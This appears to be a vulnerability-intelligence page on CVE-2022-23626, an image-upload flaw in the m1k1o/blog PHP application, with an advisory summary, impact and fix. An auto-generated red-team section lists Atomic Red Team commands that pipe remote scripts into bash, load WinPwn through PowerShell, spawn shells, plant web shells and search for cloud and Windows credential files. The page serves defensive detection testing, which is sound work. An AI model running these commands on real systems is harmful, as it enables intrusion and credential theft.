CVE-2022-23626
Overview
This vulnerability is a logic flaw in the file upload handling of the m1k1o/blog PHP application, specifically related to improper error checking of image processing functions. The root cause lies in the failure to validate the success of functions such as imagecreatefrom* and image* before retaining uploaded files on disk. This affects the blog's image upload component, allowing potentially malicious files to persist despite PHP warnings and function failures.
Vulnerability Description
m1k1o/blog is a lightweight self-hosted facebook-styled PHP blog. Errors from functions `imagecreatefrom*` and `image*` have not been checked properly. Although PHP issued warnings and the upload function returned `false`, the original file (that could contain a malicious payload) was kept on the disk. Users are advised to upgrade as soon as possible. There are no known workarounds for this issue.
Impact
An attacker with the ability to upload files can store malicious payloads on the server without authentication (AV:N/PR:L/UI:N), exploiting the improper validation of image uploads. This can lead to remote code execution, data compromise, or server takeover due to the presence of crafted files that bypass checks. The vulnerability requires network access to the upload endpoint and low privileges but no user interaction. The CVSS vector indicates high impact on confidentiality, integrity, and availability (C:H/I:H/A:H).
Solution
Users should upgrade m1k1o/blog to the fixed version incorporating the patch from commit 6f5e59f1401c4a3cf2e518aa85b231ea14e8a2ef as detailed in the advisory at https://github.com/m1k1o/blog/security/advisories/GHSA-wmqj-5v54-24x4. There are no known workarounds; applying the official patch is required to correct the error handling in image processing functions and prevent malicious file retention.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the lightweight self-hosted PHP blog arises from improper error handling in the image processing functions, specifically `imagecreatefrom` and `image`. These functions are designed to create images from various file formats, but if they encounter an unsupported or corrupted file, they issue warnings and return `false`. However, the critical flaw lies in the fact that the original uploaded file is not deleted or sanitized from the server, leaving it accessible for potential exploitation. This oversight allows an attacker to upload a malicious file disguised as an image, which could lead to further exploitation of the server or the application itself.
Attack vectors for this vulnerability primarily revolve around the upload functionality of the blog application. An attacker could craft a malicious file that masquerades as a legitimate image, bypassing any superficial validation checks. Once uploaded, the file remains on the server, potentially allowing the attacker to execute arbitrary code or perform other malicious actions. For instance, if the server is misconfigured to execute PHP files within the uploads directory, the attacker could trigger the execution of the malicious payload simply by accessing the file via a web browser. This scenario highlights a critical exploitation pathway that could lead to a complete compromise of the affected system.
The real-world impact of this vulnerability can be significant, particularly for organizations relying on the affected blogging platform for their online presence. A successful attack could result in unauthorized access to sensitive data, defacement of the website, or even the deployment of additional malware. The business risks associated with such an incident include reputational damage, loss of customer trust, and potential legal ramifications due to data breaches. Furthermore, the cost of remediation and recovery can be substantial, not to mention the potential for financial losses stemming from operational downtime.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First and foremost, upgrading to the latest version of the affected blogging platform is crucial, as this will address the underlying issue. Additionally, organizations should enforce strict file validation and sanitization processes for all uploaded files, ensuring that only legitimate image formats are accepted. Employing security measures such as web application firewalls (WAF) can help filter out malicious requests and provide an additional layer of defense. Regular security audits and vulnerability assessments should also be conducted to identify and remediate any weaknesses in the application or its underlying infrastructure.
In conclusion, the vulnerability in the PHP blogging platform presents a serious threat that can be exploited through improper error handling in image upload functions. The potential for malicious file uploads poses significant risks to businesses, making timely detection and remediation essential. By adopting robust security practices and staying informed about updates and patches, organizations can better protect themselves against such vulnerabilities and mitigate the associated risks.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Blog Project | Blog | All |
cpe:2.3:a:blog_project:blog:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| m1k1o's Blog v.10 - Remote Code Execution (RCE) (Authenticated) | Malte V | webapps | php | - | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-23626 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/m1k1o/blog/security/advisories/GHSA-wmqj-5v54-24x4 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/m1k1o/blog/commit/6f5e59f1401c4a3cf2e518aa85b231ea14e8a2ef |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/167235/m1k1os-Blog-1.3-Remote-Code-Execution.html |